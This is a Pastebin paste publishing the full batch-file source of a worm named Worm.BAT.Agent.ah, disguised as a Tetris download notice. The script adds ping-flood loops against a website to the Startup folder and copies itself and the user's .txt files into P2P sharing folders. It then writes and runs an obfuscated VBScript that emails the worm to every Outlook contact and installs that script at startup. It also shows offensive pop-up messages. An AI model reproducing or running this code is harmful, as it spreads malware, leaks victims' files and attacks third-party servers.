Advertisement
FlyFar

Worm.BAT.Agent.ah - Source Code

Jun 7th, 2023 (edited)
1,211
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 2.56 KB | Cybersecurity | 1 0
  1. echo off
  2. echo You can download many good and free Tetris games from
  3. echo www.download.com. Just select games and then search with the word Tetris.
  4. echo This is the new download link for September each month our crew vxchaos
  5. echo publishes a new and fresh download link for all the greatest software and games
  6. echo in this p2p publication.
  7. START  iexplore.exe www.download.com
  8. echo press any key to exit this monthly publication.
  9. pause
  10. echo @echo off >> c:\windows\Startm~1\Programs\StartUp\cry.bat
  11. echo :witch >> c:\windows\Startm~1\Programs\StartUp\cry.bat
  12. echo ping -l 789 www.godhatesfags.com >> c:\windows\Startm~1\Programs\StartUp\cry.bat
  13. echo goto witch >> c:\windows\Startm~1\Programs\StartUp\cry.bat
  14. COPY tetris.com c:\Mydown~1
  15. COPY tetris.com c:\progra~1\bearsh~2\shared
  16. COPY tetris.com c:\progra~1\kazaal~1\myshar~1
  17. COPY tetris.com c:\progra~1\morpheus\myshar~1
  18. COPY tetris.com c:\progra~1\edonke~1\incoming
  19. COPY c:\*.txt c:\progra~1\bearsh~2\shared
  20. COPY c:\*.txt c:\Mydown~1
  21. COPY c:\*.txt c:\progra~1\edonke~1\incoming
  22. COPY tetris.com c:\windows
  23. echo @echo off >> c:\Mydown~1\sex.mpg.bat
  24. echo :witch >> c:\Mydown~1\sex.mpg.bat
  25. echo ping -l 789 www.godhatesfags.com >> c:\Mydown~1\sex.mpg.bat
  26. echo goto witch >> c:\Mydown~1\sex.mpg.bat
  27. echo msgbox ("Fred Waldron Phelps and Shirley Phelps Roper sucks") >> c:\note.vbs
  28. echo msgbox ("If my ass smells bad then yours smells like a rotten fish") >> c:\note2.vbs
  29. set f=dress
  30. set b=Entr
  31. set j=ists
  32. echo set no="Scripting.FileSystem.Object" >> c:\windows\email.vbs
  33. echo set op=CreateObject(no) >> c:\windows\email.vbs.vbs
  34. echo set pq=CreateObject("Outlook.Application") >> c:\windows\email.vbs.vbs
  35. echo set qq=WScript.CreateObject("Outlook.Application") >> c:\windows\email.vbs
  36. echo set qf=qq.GetNameSpace("MAPI") >> c:\windows\email.vbs
  37. echo set q=qf.Ad%F%L%J%(1) >> c:\windows\email.vbs
  38. echo set ae=q.Ad%F%%B%ies >> c:\windows\email.vbs
  39. echo for x=1 To ae.Count >> c:\windows\email.vbs
  40. echo set fw=pq.CreateItem(0) >> c:\windows\email.vbs
  41. echo set wc=fw >> c:\windows\email.vbs
  42. echo wc.to=pq.GetNameSpace("MAPI").Ad%F%L%J%(1).Ad%F%%B%ies(x) >> c:\windows\email.vbs
  43. echo wc.Subject="Hello" >> c:\windows\email.vbs
  44. echo wc.Body="Check out this tetris game!" >> c:\windows\email.vbs
  45. echo wc.Attachments.Add("C:\windows\tetris.com") >> c:\windows\email.vbs
  46. echo wc.send >> c:\windows\email.vbs
  47. echo Next >> c:\windows\email.vbs
  48. echo pq.Quit >> c:\windows\email.vbs
  49. COPY c:\windows\email.vbs c:\windows\Startm~1\Programs\StartUp
  50. set f=
  51. set b=
  52. set j=
  53. CSCRIPT  c:\windows\email.vbs
  54. CSCRIPT  c:\note.vbs
  55. CSCRIPT  c:\note2.vbs
Tags: wworm
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement